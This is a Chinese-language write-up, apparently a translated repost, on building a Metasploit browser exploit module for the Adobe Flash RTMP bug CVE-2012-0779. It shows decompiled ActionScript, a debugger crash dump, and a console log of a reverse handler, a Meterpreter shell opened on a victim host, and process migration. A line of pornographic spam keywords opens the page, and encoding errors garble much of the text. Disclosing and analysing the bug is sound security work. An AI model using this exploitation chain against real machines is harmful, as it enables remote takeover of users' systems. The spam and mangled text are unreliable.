欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用Metasploit編寫(xiě)Adobe Flash漏洞模塊 (CVE-2012-0779)

  發(fā)布時(shí)間:2012-06-28 15:22:11   作者:佚名   我要評(píng)論
上個(gè)月爆了一個(gè)Adobe Flash的漏洞,影響Windows, Macintosh和Linux平臺(tái)下的Adobe Flash Player 11.2.202.233和之前版本
上個(gè)月爆了一個(gè)Adobe Flash的漏洞,影響Windows, Macintosh和Linux平臺(tái)下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一個(gè)對(duì)象混淆引起的嚴(yán)重漏洞。這個(gè)漏洞可導(dǎo)致應(yīng)用程序崩潰或可能允許攻擊者完全控制受影響系統(tǒng)。
根據(jù)報(bào)告,此漏洞目前在網(wǎng)絡(luò)上已經(jīng)積極被利用,通過(guò)誘使用戶點(diǎn)擊嵌入到Email消息中的以文件來(lái)觸發(fā)。利用的程序目標(biāo)針對(duì)windows平臺(tái)上的Flash Player。
今天我們來(lái)研究一下如何在Metasploit中編寫(xiě)該漏洞的EXP。
最初我們發(fā)現(xiàn)了這個(gè)漏洞的樣本,并開(kāi)始分SWF(Shockwave文件),我們發(fā)現(xiàn)該漏洞利用SWF堆噴射技術(shù)使攻擊者可以操縱應(yīng)用程序的內(nèi)存分配,可以控制內(nèi)存特定的區(qū)域,然后可以執(zhí)行任意shellcode。但是我們并沒(méi)有在實(shí)際環(huán)境中觸發(fā)該漏洞。經(jīng)過(guò)更多的測(cè)試之后,我們認(rèn)為該漏洞很有可能是由于在RTMP傳遞數(shù)據(jù)的時(shí)候處理 AMF (Action Message Format)發(fā)生的問(wèn)題。

復(fù)制代碼
代碼如下:

public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}


我們建立了一個(gè)自己的Flash Media Server來(lái)檢測(cè)數(shù)據(jù)傳輸時(shí)的信息。如下圖:
 第一個(gè)猜測(cè)是在systemMemoryCall()的響應(yīng)解析時(shí)可能會(huì)觸發(fā)漏洞,但是我們的RTMP服務(wù)器沒(méi)有識(shí)別到該函數(shù)的調(diào)用,而且返回了一個(gè)AMF的錯(cuò)誤信息。進(jìn)一步測(cè)試我們捕獲受感染機(jī)器與RTMP服務(wù)器之間的RTMP通信,如下圖:

惡意RTMP服務(wù)器響應(yīng)的“_error”信息如下,看起來(lái)如下:
Field Name Type Description Command Name
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
運(yùn)行了RTMP “_error” 響應(yīng)之后,我們終于能夠讓Adobe Flash觸發(fā)該漏洞,如下:

復(fù)制代碼
代碼如下:

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax

因?yàn)樘幚砘蔚?RTMP _error會(huì)產(chǎn)生類型混亂,所以在測(cè)試該漏洞時(shí)不需要等待systemMemoryCall()請(qǐng)求,相反,一個(gè)惡意的RTMP服務(wù)器可以返回一個(gè)制作好的惡意”_error” 響應(yīng)信息,包含一個(gè)鏈接RTMP服務(wù)器的命令。這樣我們更容易建立Metasploit的模塊。
Metasploit的支持許多不同的協(xié)議,但是沒(méi)有RTMP,所以我們建立了一個(gè)Rex::Socket::TcpServer的API,可以跟客戶端產(chǎn)生交互的RTMP。提供三次握手協(xié)議和服務(wù)器惡意的_error響應(yīng)信息。
如下:

復(fù)制代碼
代碼如下:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process

該模塊在新的Metasploit中已經(jīng)支持。請(qǐng)下載或更新到最新版本使用即可。
via/Juan Vazquez 譯/freebuf

相關(guān)文章

最新評(píng)論